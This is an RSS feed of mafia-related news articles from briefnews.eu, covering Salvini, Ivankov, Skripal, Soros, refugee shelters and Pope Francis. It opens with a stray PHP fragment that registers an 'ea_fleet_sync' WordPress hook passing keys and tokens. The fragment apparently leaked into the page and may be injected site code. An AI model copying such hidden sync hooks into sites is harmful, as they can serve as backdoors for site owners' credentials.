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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); MAFIA – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 26 Nov 2018 22:20:10 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png MAFIA – Brief News https://briefnews.eu 32 32 Salvini takes dig at organized crime … by wrecking mafia villa (PHOTOS, VIDEO) https://briefnews.eu/salvini-takes-dig-at-organized-crime-by-wrecking-mafia-villa-photos-video/ https://briefnews.eu/salvini-takes-dig-at-organized-crime-by-wrecking-mafia-villa-photos-video/#respond Mon, 26 Nov 2018 22:20:10 +0000 http://briefnews.eu/salvini-takes-dig-at-organized-crime-by-wrecking-mafia-villa-photos-video/

Italian Interior Minister Matteo Salvini wants voters to know that he’s tough on crime: And what better way to demonstrate this trait than to help flatten the former home of a mafia clan?

Donning a white hardhat, Salvini used a demolition vehicle to take the ceremonial first swipe at a luxury villa illegally built in Rome by the Casamonica mob family. Obviously there was plenty of media present to document the unorthodox demolition job.

A Ruptly video shows the minister mounting the machine, and with the help of an unidentified gentleman in camouflage, tenderly scrapping off a small chunk of roof tile from the top of the home. The real demolition work, it seems, was left to the professionals – once the camera crews left, of course.

While it was a rather conspicuous photo op, Salvini, who heads the right-wing League party, seems to have had fun with it. Dubbed “the Captain” by his supporters, the minister posted on Twitter a video of him aboard the digger that declared: “The captain activates the bulldozer!”

Speaking to reporters who had convened for the domicile-destroying spectacle, Salvini vowed that he will chase criminals “neighborhood by neighborhood, street by street, villa by villa and shop by shop.” (And then, presumably, he will help knock it down.)

The demolition wasn’t just political theatre, however. The property that housed the unauthorized villa will be converted into a children’s playground, Salvini said.

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The code breaks the silence

FOR an inkling of how hard it is for Italian authorities to identify Mafia activity, consider how mobsters disguise the pizzo, or protection payments, they extort. The owner of a business may find that customers have been scared off by a menacing stranger. Within days a mysterious man visits. He may request a regular donation for a poor family, or ask a business to switch to a new supplier. Owners put two and two together, says Daniele Marannano, an anti-Mafia activist in Palermo: “There’s no need for further explanations.”

Such concealment is more common than in decades past, when payments were often collected monthly in cash. That has made it harder to spot extortion by analysing a business’s books, says Antonio Basilicata of the Anti-Mafia Investigation Directorate (DIA) in Rome. But software developed by Crime&tech, a firm in Milan, can still help identify companies with probable Mafia links by crunching…

]]> https://briefnews.eu/new-software-helps-uncover-mafia-crime-masked-as-ordinary-business/feed/ 0 New York mafia man miraculously survives point-blank range assassination attempt (VIDEO) https://briefnews.eu/new-york-mafia-man-miraculously-survives-point-blank-range-assassination-attempt-video/ https://briefnews.eu/new-york-mafia-man-miraculously-survives-point-blank-range-assassination-attempt-video/#respond Sat, 14 Jul 2018 06:19:11 +0000 http://briefnews.eu/new-york-mafia-man-miraculously-survives-point-blank-range-assassination-attempt-video/

An associate of a New York City crime family has narrowly escaped death after being chased and shot several times by a would-be assassin on the streets of the Bronx, video footage released by police has revealed.

Salvatore ‘Sally Daz’ Zottola, a partner in crime of the Bonanno family, which has ruled the streets of New York for over a century, was targeted by an unknown shooter at about 6.30am on Wednesday morning. The newly-released video of the incident shows a red Nissan pulling up next to Zottola’s car.

The gunman first tries to take out the 41-year-old through the passenger window, apparently missing his target. The victim then jumps out of his minivan, seeking cover as the hitman continues shooting at the mafia man. Zottola is then seen rolling away, apparently trying to dodge the bullets.

With the target still breathing, the assassin gets out of the vehicle to shoot Zottola at point-blank range as the 41-year-old keeps swirling away. After shooting his victim several times, the hitman runs back to the getaway car before speeding away.

Zottola was rushed to the hospital in serious condition with wounds to his chest and right hand but is expected to survive. The would-be assassin, meanwhile, remains on the loose.

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]]> https://briefnews.eu/eco-friendly-backpacks-truce-drop-liner-mafia-deep-blue-bag/feed/ 0 The John Gotti of the Russian Mafia https://briefnews.eu/the-john-gotti-of-the-russian-mafia/ https://briefnews.eu/the-john-gotti-of-the-russian-mafia/#respond Wed, 04 Jul 2018 04:13:47 +0000 http://briefnews.eu/the-john-gotti-of-the-russian-mafia/ The funeral in Moscow’s 18th-century Vagankovo Cemetery was a blinged-out affair, even by mob standards. Vyacheslav K. Ivankov, aka Yaponchik (“Little Japanese”), was going out in style, like gangster royalty.

A hardened survivor of the gulags, the 5-foot-6 mobster was covered with tattoos denoting his high rank in the Russian Mafia — the vory (“thieves-in-law”). Ivankov’s elevated status was vory v zakone (“thief within the code”), and as such, he had been sent to the U.S. in 1992 to organize the Russian gangs of New York. And now, here he was on a brisk October day in 2009, back home for good, a victim of a bold assassination.

I heard about [Ivankov] when he landed in Brooklyn. He was sent here to shake things up.

Palve “Punch” Stanimirovic, a founder of the Pink Panthers jewel heist crew

Scores of mob bosses in pinstripe suits, flanked by bodyguards, lined up to pay their respects to a fallen comrade. With all the grandiosity of The Godfather, Yaponchik was laid to rest. Along with a black marble tombstone was a life-size statue of the deceased wearing a thoughtful expression, not his more typical ferocious glare. State police videotaped the entire event as part of their attempt to piece together the vory hierarchy.

The hit on Ivankov proved that the Russian Mafia’s dominance in the criminal underworld was nearly over. The much-feared thief-in-law had proved human after all. Putin was firmly in power, and younger gangsters didn’t abide by the old rules. Ivankov’s word had once been law; in the end, it meant little.

“Ivankov was as old-school as can be, a graduate of numerous terms behind barbed wire,” says Mark Galeotti, author of The Vory: Russia’s Super Mafia. “He’s still a legend in the Russian underworld but very much a figure from a past age — the last of the Mohicans, as one gangster told me.” Like the vor portrayed by Viggo Mortensen in the film Eastern Promises, Ivankov came up in the harsh regime of the gulag, a brutal and harrowing world of corruption.

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“Body tattoos tell a story the vor can read,” notes Palve “Punch” Stanimirovic, a Serbian-American founder of the Pink Panthers, a brazen jewel heist crew. Once criminals enter the vor, it’s like they’re made men, and they must follow the rules, says the safe cracker extraordinaire — no working for anyone else, no jobs in prison, no hesitation to help a brother. “The hard-core ones don’t have families of their own,” says Stanimirovic. “This brotherhood is their family. When they’re called, they must drop everything and meet their brothers.”

When Ivankov was released from a Russian prison in 1991, he was already a man of status. The gangsters with business and political interests took one look at the fierce vor and bid him journey to New York and get their interests there in order. They viewed Ivankov as a threat to their power in Moscow and wanted him as far away as possible. Ivankov’s assignment: Get all the Russian gangs of New York under one flag. But in reality, he was being exiled — albeit to some place far more comfortable than the gulag.

“I heard about him when he landed in Brooklyn,” Stanimirovic says. “He was sent here to shake things up.” And that he did. Meeting with little resistance in New York’s gangland, Ivankov became huge overnight and was so powerful and feared he soon threatened La Cosa Nostra. By 1995, he’d patched together a criminal network — and then came a federal indictment for extortion.

Stanimirovic met Ivankov in the summer of 1997 at the Metropolitan Correction Center, New York, where both men were fighting indictments (Stanimirovic was arraigned on federal robbery charges). The Russian liked the Serbian-American — Punch was a stickup kid after his own heart. The Pink Panther remembers the Russian as a quiet, serious man who never spoke more than a few words to anyone. His English was limited to curses and phrases like “I will kill you.”

Both Stanimirovic and Ivankov eventually were transferred to club fed at Otisville, northwest of New York City. Punch was in for six years for robbery; the Little Japanese man, nine years. There, Yaponchik lived in silence and emotional solitude. When other prisoners on the pod were watching TV, the vor was shuffling cards in the corner, observing everything around him for hours on end.

Not that the Russian was concerned about surviving in American prisons. To him, it was a Mickey Mouse hitch — a jail he called sweet, one with every luxury. Punch and the Russian lived well in lock-up, bribing a guard not to bring in drugs but to smuggle in food and drink — Beluga caviar on crackers and vodka to wash it down. “He enjoyed the food I made,” says Stanimirovic. “He was the first real boss of this magnitude I’d met, the John Gotti of the Russians. He had all the respect from everyone.”

Punch did close to 20 years on federal and state counts; he’s now a free man. After serving eight years at OtisvilIe, Ivankov was deported to Russia in 2004 to face murder charges. He beat the rap and began disrupting the Moscow underworld — enforcing hits, grooming newbies and putting out fires between rival gangsters.

It didn’t last. When he tried to mediate a dispute between two Georgian-born mobsters, Ivankov put himself in the line of fire. On July 28, 2009, a sniper shot from one of the two squabbling squads took down the legendary tough guy. It took him two and a half months to die from his wounds and receive his lavish send-off.

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]]> https://briefnews.eu/the-john-gotti-of-the-russian-mafia/feed/ 0 Britain behaving like ‘mafia state’ in Skripal case – OSCE ex-VP Willy Wimmer https://briefnews.eu/britain-behaving-like-mafia-state-in-skripal-case-osce-ex-vp-willy-wimmer/ https://briefnews.eu/britain-behaving-like-mafia-state-in-skripal-case-osce-ex-vp-willy-wimmer/#respond Thu, 05 Apr 2018 02:12:51 +0000 http://briefnews.eu/britain-behaving-like-mafia-state-in-skripal-case-osce-ex-vp-willy-wimmer/ The UK is exploiting European solidarity and behaving like a ‘mafia state’ by pushing forward warmongering accusations and excluding Russia from the Skripal poisoning probe, the former vice-president of OSCE assembly told RT.

Britain’s behavior in the Skripal poisoning scandal is “a major danger to international peace,” believes Willy Wimmer, who held the vp position with the Organization for Security and Cooperation in Europe (OSCE) assembly from 1994 to 2000, and who had previously served as state secretary to Germany’s defense minister.

“I think we would call this state a mafia state because it is against all European and international rules and regulations how the British government has behaved in a criminal case with regard to another country,” Wimmer told RT.

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Former Parliamentary State Secretary in Germany's Defense Ministry and Ex-Vice President of the OSCE's Parliamentary Assembly Willy Wimmer. © Mikhail Voskresenskiy

The UK has a history of pressing forward warmongering rhetoric, Wimmer said, recalling Britain’s decision to go to war in Iraq. “We, as Europeans, have an experience with the British. We only have to look back to Tony Blair. They lie from one war into the next one.” The long awaited Chilcot report, published in 2016, offered a damning critique of Blair, stating that he deliberately exaggerated the threat posed by the Iraqi regime and had relied on “flawed” intelligence.

“And that is why I think as long as the British don’t behave in a proper, legal, international way, I think we all should believe that this is another British lie, at least to go for war against Russia,” Wimmer added.

The former OSCE assembly vice-president said the EU’s position of standing in solidarity with the UK was standard allied behavior but warned the bloc might think twice before doing so again in the future.

“If a country asks for solidarity and for support, it is given by the others because otherwise you can’t run certain organizations like EU or NATO. What the British are doing – the government of Theresa May is exploiting this will of solidarity, which is a basic foundation of the European Union and NATO.”

“This is a blow to the European solidarity and this is a blow to the European Union as well as NATO. They will never do it again.”

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The European Union previously rushed to stand by UK’s ‘belief’ that Moscow was ‘likely’ behind the Salisbury attack on March 4, despite the failure by experts at the British chemical weapons laboratory at Porton Down to link the samples of the nerve agent to Russia.

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Billionaire George Soros says he will now devote his efforts to Europe and the US as he believes their ‘open societies’ are in danger. He accused US President Donald Trump of wanting to create a ‘mafia state.’

“I find the current moment in history rather painful,” remarked financial speculator Soros, 87, at the World Economic Forum in Davos, Switzerland on Thursday.

“Open societies are in crisis, and various forms of dictatorships and mafia states, exemplified by Putin’s Russia, are on the rise. In the United States, President Trump would like to establish a mafia state but he can’t, because the Constitution, other institutions, and a vibrant civil society won’t allow it.”

Soros’ criticism of Trump comes as no surprise as he has been a longtime supporter of Clinton. Soros Fund Management donated $ 25 million to the Clinton campaign, a spokesperson told the New Yorker.

This time last year Soros called Trump a “would-be dictator” and predicted he would fail.

Soros has been the financial backer behind the progressive movement MoveOn. The Washington Post revealed in 2004 that Soros and his wife, Susan Weber Soros, gave $ 1.46 million to the organization.

Among the emails hacked from Hillary Clinton campaign chair John Podesta, and published by WikiLeaks, is a strategy document from Podesta’s think-tank, the Center for American Progress, that sought financial support from Soros for grassroots efforts.

“I give President Trump credit for motivating his core supporters brilliantly, but for every core supporter he has created a greater number of core opponents who are equally strongly motivated. That is why I expect a Democratic landslide in 2018,” Soros said.

Soros said previously his foundation has focuses on the so-called developing world, but “now that open society is also endangered here in the United States and Europe, we are spending more than half our budget closer to home because what is happening here is having a negative impact on the whole world.”

Soros said there were grave dangers to be faced including the rise of authoritarianism in places like Hungary and that under Trump “the United States is set on a course toward nuclear war by refusing to accept that North Korea has become a nuclear power.”

This refusal has created an incentive for North Korea “to develop nuclear capacity with all possible speed,” Soros argued, which in turn “may induce the United States to use its nuclear superiority preemptively” and start a nuclear war. The only solution he added was to “come to terms with North Korea as a nuclear power.”

For decades Soros made his fortune as a speculator of currency and hedge-fund manager and has campaigned on the values of democracy, pluralism and individuals rights around the world through his Open Society Foundations. Some skeptics however say his funding has incited some of the color revolutions often leading to disorder and confusion.

Soros said another of his goals is to help save the European Union, radically reinventing it by rethinking whether all members had to adopt the euro and adopting a multi-track approach of flexibility with countries forming coalitions to pursue particular goals rather than be dominated by a European bureaucracy.

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]]> https://briefnews.eu/soros-accuses-trump-of-seeking-mafia-state-pledges-to-devote-efforts-to-europe-us/feed/ 0 Nazi bases, mafia hideouts & prisons: Europe’s weirdest makeshift refugee shelters https://briefnews.eu/nazi-bases-mafia-hideouts-prisons-europes-weirdest-makeshift-refugee-shelters/ https://briefnews.eu/nazi-bases-mafia-hideouts-prisons-europes-weirdest-makeshift-refugee-shelters/#respond Sat, 19 Aug 2017 18:17:23 +0000 http://briefnews.eu/nazi-bases-mafia-hideouts-prisons-europes-weirdest-makeshift-refugee-shelters/

Two years after the European refugee crisis began, the continent is still struggling to accommodate asylum-seekers, and many countries have resorted to housing new arrivals in offbeat and unlikely shelters.

Germany 

Germany, the most sought-after destination for refugees and migrants seeking a better life in Europe, was among many nations forced to think outside the box when floods of mostly Syrian refugees arrived within its borders.

A World War II airport, once dubbed the “mother of all airports” by British architect Normal Foster, makes the list of Europe’s weirdest shelters.

Located in Berlin, built in 1927 and extensively developed by the Nazis in the 1930s, Tempelhof Airport’s main building was one of the largest structures in Europe in its heyday. Since then, its facilities have been used for more than just hosting aircraft. It has also housed war prisoners and been the set of movie blockbusters like ‘The Bourne Supremacy’ and ‘The Hunger Games.’

However, it has now traded in its Hollywood role for a more humanitarian one, serving as a temporary home for refugees who live in cubicle-like structures on the premises.

Despite having a capacity for 7,000 refugees, approximately 600 are currently housed there. A total of 3,000 people previously called the shelter home, most of whom were from Iraq and Syria. However, many have been relocated or returned home.

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On the other side of the country sits Bayern-Kaserne, a former German military facility in the Bavarian city of Munich, which was used by the Nazis during World War II.

It was later used by US forces from 1945 to 1969, before ultimately being turned over to the German government.

Now, decades after it served as a facility for Adolf Hitler’s cronies, it has become a shelter for refugees seeking a new start in Germany.

Unlike the half-empty Tempelhof Airport, this shelter previously made headlines for becoming massively overcrowded with double the number of refugees it was capable of safely housing.

However, it is not just German bases that the country has put into use. Barracks at a former British base in the town of Herford were also turned into refugee housing following a deal between the city and federal government.

The new arrivals moved in after the Brits officially handed over the keys in 2015.

The former base has since made headlines after it was reported in June that a 10-year-old girl was raped at the site by an asylum-seeker.

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Moving away from military bases, another unusual place used to hold asylum-seekers is an office building in the Lichtenberg district of Berlin, once the headquarters of the infamous Stasi, the East German secret police.

About 7,000 employees worked in the building under the supervision of Markus Wolf, dubbed “the man without a face,” as Western intelligence famously had no photo of him. When the Berlin Wall came down in 1989, it was stormed by protesters who wanted to prevent its staff from destroying secret documents, while in the 1990s it was used by Deutsche Bahn, the national rail company.

It now offers temporary housing for hundreds of families from Iraq, Syria, and Afghanistan, with each office room housing up to six people.

The Netherlands

A decade ago, the Netherlands had one of the highest imprisonment rates in Europe. Now it has one of the lowest as it has toned down its war on drugs and switched its priorities to fighting terrorism, while focusing on the rehabilitation of offenders. This has left it with dozens of empty jailhouses. Some have been sub-contracted to deal with prisoners from Norway and Belgium, while others have been turned into shelters for asylum-seekers.

With only 60,000 applications for asylum at the height of the crisis in 2015, compared to other countries such as Sweden and Germany, the number of refugees entering the Netherlands has been relatively small. For that reason, and because of the extra prison space, the Netherlands seemed to struggle less with finding accommodation for asylum-seekers.

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Around 600 people from Syria, Afghanistan, Iraq, and Eritrea currently occupy four of the six towers in the Bijlmerbajes prison complex in the southeast of Amsterdam. Unlike regular inmates, they are free to come and go from their cells and decorate them as they please, while taking part in activities to help them integrate into society if their application is approved. Aside from Bijlmerbajes, at least 12 other jails have been turned into temporary shelter for asylum-seekers, which has the added bonus of keeping prison staff employed.

Italy 

Due to its position on the Mediterranean Sea and proximity to North Africa, Italy is on the frontline for new arrivals seeking asylum in the European Union.

Once they arrive, some are taken to properties that once belonged to convicted mobsters, but have since been seized by the Italian government.

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One such place is a property known as ‘the Fortress’ in the town of Lecco, 50 kilometers north of Milan. It was confiscated from ‘Ndrangheta boss Coco Trovato and used to house 20 young men from Africa.

Further south in Calabria, the NGO Luna Rossa has housed dozens of unaccompanied minors in yet another crime lord’s mansion, mostly teenagers from sub-Saharan Africa.

The center has faced mafia intimidation, including shots fired at the windows and a bomb thrown at the door over the Christmas of 2011, as well as opposition from a few local residents, one of whom claimed a refugee boy tried to rape him.

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The claim was dismissed by police, but nevertheless, a small crowd of people assembled outside the building and started shouting anti-immigrant slogans.

It is perhaps unsurprising that Europe has ended up with an array of weird and wacky refugee shelters, as the continent was on the receiving end of the worst refugee crisis since World War II in 2015, when more than one million asylum-seekers arrived.

Most of the refugees were from Syria, where a brutal civil war has so far claimed the lives of more than 320,000 since March 2011, according to UN estimates.

But simply arriving in Europe does not guarantee a dry place to sleep. Some have been forced to set up their own makeshift accommodation, largely due to overcrowding at shelters.

Migrants in the notorious ‘Jungle’ camp in Calais, France were left with no place to go after the camp was dismantled in October 2016. While some were transferred to shelters across the country, others were left to sleep rough in the streets.

Many of those who were relocated to other cities eventually returned to Calais, sleeping on the streets, at the train station, or at so-called ‘secret camps,’ according to The Independent. The migrants in Calais hope to eventually reach the United Kingdom.

Police were less keen to accept the return of migrants, with Human Rights Watch (HRW) reporting in July that French authorities “routinely” pepper spray asylum-seekers in Calais, even while they sleep. It also said that officers spray migrants’ food and deploy batons against minors. 

READ MORE: French police ‘routinely’ pepper spray innocent migrants, incl. children, in Calais – HRW

Meanwhile, many of those who were uprooted following the Jungle camp closure found their way to the French capital, erecting makeshift camps. A total of 30 such camps were cleared in Paris between June 2015 and November 2016.

However, it was not just the migrant camps which were targeted in Paris. A report from Doctors Without Borders (MSF) stated that police had been abusing migrants on the streets, stealing their blankets in sub-zero temperatures. 

READ MORE: Police stealing migrants’ blankets in below-freezing Paris – MSF

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]]> https://briefnews.eu/nazi-bases-mafia-hideouts-prisons-europes-weirdest-makeshift-refugee-shelters/feed/ 0 ‘Cosa Nostra still here’: Mafia don assassinated while biking in Sicily https://briefnews.eu/cosa-nostra-still-here-mafia-don-assassinated-while-biking-in-sicily/ https://briefnews.eu/cosa-nostra-still-here-mafia-don-assassinated-while-biking-in-sicily/#respond Tue, 23 May 2017 01:35:03 +0000 http://briefnews.eu/cosa-nostra-still-here-mafia-don-assassinated-while-biking-in-sicily/

Legendary crime kingpin, Guiseppe Dainotti, who was released from prison last year, was shot dead in broad daylight in a Palermo street by two killers, according to Italian police.

“When some people claim the mafia no longer exists or has been destroyed, something always happens to confirm it is still there,” said Palermo prosecutor Francesco Lo Voi in a statement to the media. “When necessary, it shoots again, in a clear and symbolic way.”

Photographs circulated on Monday showed a blood-splattered white bicycle lying on the ground, following what police said was the first mafia don slaying in Sicily for three years.

“I heard two shots, it was 07:50. My children had just left for school. It sounded like fireworks, they let them off at all hours around here,” said an eyewitness, as cited by the Repubblica newspaper. “I looked out and I saw a man on the ground losing blood from his head. There was no one else around. Once I realized it was a murder, I was petrified.”

Dainotti, 67, was released after spending over two decades in jail for murder – with police officers among his victims – drug trafficking and robbery.

Italian media reported that Dainotti was a “dead man walking,” after a rival ordered his killing in 2014.

Following a maxi-trial that indicted hundreds of mafia members in the early 1990s, the power of the Cosa Nostra has waned in favor of the Napoli-based Gomorrah and other mainland gangs. However, Palermo police commissioner Renato Cortese warned earlier this month of a possible revival, spurred by the mass release of mobsters who had served their jail terms.

“There is always the fear that if Cosa Nostra can find a rational head that can bring together the disparate souls, it could become as dangerous as it used to be,” Cortese warned.

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]]> https://briefnews.eu/cosa-nostra-still-here-mafia-don-assassinated-while-biking-in-sicily/feed/ 0 Pope washes feet of former mafia in prison during pre-Easter ritual https://briefnews.eu/pope-washes-feet-of-former-mafia-in-prison-during-pre-easter-ritual/ https://briefnews.eu/pope-washes-feet-of-former-mafia-in-prison-during-pre-easter-ritual/#respond Thu, 13 Apr 2017 23:33:40 +0000 http://briefnews.eu/pope-washes-feet-of-former-mafia-in-prison-during-pre-easter-ritual/ Pope Francis has washed the feet of more than a dozen inmates during his visit to an Italian high-security prison for former mafia members in a pre-Easter ritual to spread the message of hope and love.

The pope celebrated Holy Thursday Mass at the Paliano detention center, the only Italian prison dedicated to specifically housing mafia turncoats some 75 kilometers southeast of Rome.

Out of 70 inmates serving sentences at the facility, about 50 are former mafia members known as “collaborators of justice,” who are cooperating with authorities hoping to commute their sentences.

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The prison holds mostly former members of Italy’s three notorious organized crime groups – the Cosa Nostra, the Camorra and the Ndrangheta – with many of the inmates serving lengthy terms.

As part of the mass, the pontiff bent to wash and kiss the right foot of 12 inmates in commemoration of Jesus’ gesture of humility towards his 12 apostles on the night before he was crucified.

Two of the inmates, who participated in the ceremony are serving life sentences while the remaining 10 are due to be released between 2019 and 2073.

According to the Vatican, three of the inmates were women and one was a born Muslim who had converted to Catholicism. The group consisted of 10 Italians, an Albanian and a prisoner from the pope’s homeland of Argentina, who had earlier written to him, as reported by Reuters.

It is the third Holy Thursday that Francis has spent at a detention center. He described his decision to continue to celebrate Holy Thursday with prisoners as “a duty which comes from my heart,” as reported by Vatican Radio.

With this move, Pope Francis has changed the tradition followed by his predecessors who held Holy Thursday Mass either at the Vatican or a Rome basilica and only washed the feet of Catholic men.

The pope said the ritual should be open to “all members of the people of God” and stressed the importance of going out to serve the poor, the sick, and the imprisoned.

“It is good for us to break out of our set ways, because it is proper to the heart of God to overflow with tenderness, with ever more to give,” the pope said in a tweet before arriving at Paliano prison.

He also said that by washing the feet of inmates, he was willing to do “the work of a slave in order to sow love among us” and urged the prisoners to help each other. “If you can do something, a service for your companions in prison, do it,” he said, adding that “this is love … to be the servant of others,” AP reports.

“We are all sinners. We all have defects,” the pope told the inmates during an improvised sermon broadcasted by Vatican Radio. At the same time, he condemned organized crime groups, saying their members indulge in the “the adoration of evil,” adding that the same time – and although they excommunicated themselves from the Church by their actions – they could return if they repented.

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World must stop lords of war

The pontiff also gave an interview to the Italian newspaper La Repubblica, in which he once again urged the international community to stop violence and restore peace.

“I think today sin is manifested with all its destructive force in war, in different forms of violence and mistreatment,” he said in the interview, adding that people are now facing “a terrible world war fought piecemeal.”

He went on to say that the world “must stop the lords of war,” who are “the only few” ones benefiting from the present state of affairs while “the helpless” are those, “who suffer the most.”

Pope Francis warned that “responding to violence with violence” could lead to “the physical and spiritual death of many people, if not of all” of them.

“All I want is to call even more strongly for peace for this world subjugated by arms traffickers who profit from the blood of men and women,” Francis told the newspaper. “Violence is no cure for our broken world.”

The pope is expected to participate in the torch-lit procession at Rome’s Colosseum re-enacting Christ’s crucifixion on Friday, as well as to lead the late-night Easter vigil on Saturday and Easter Sunday Mass.

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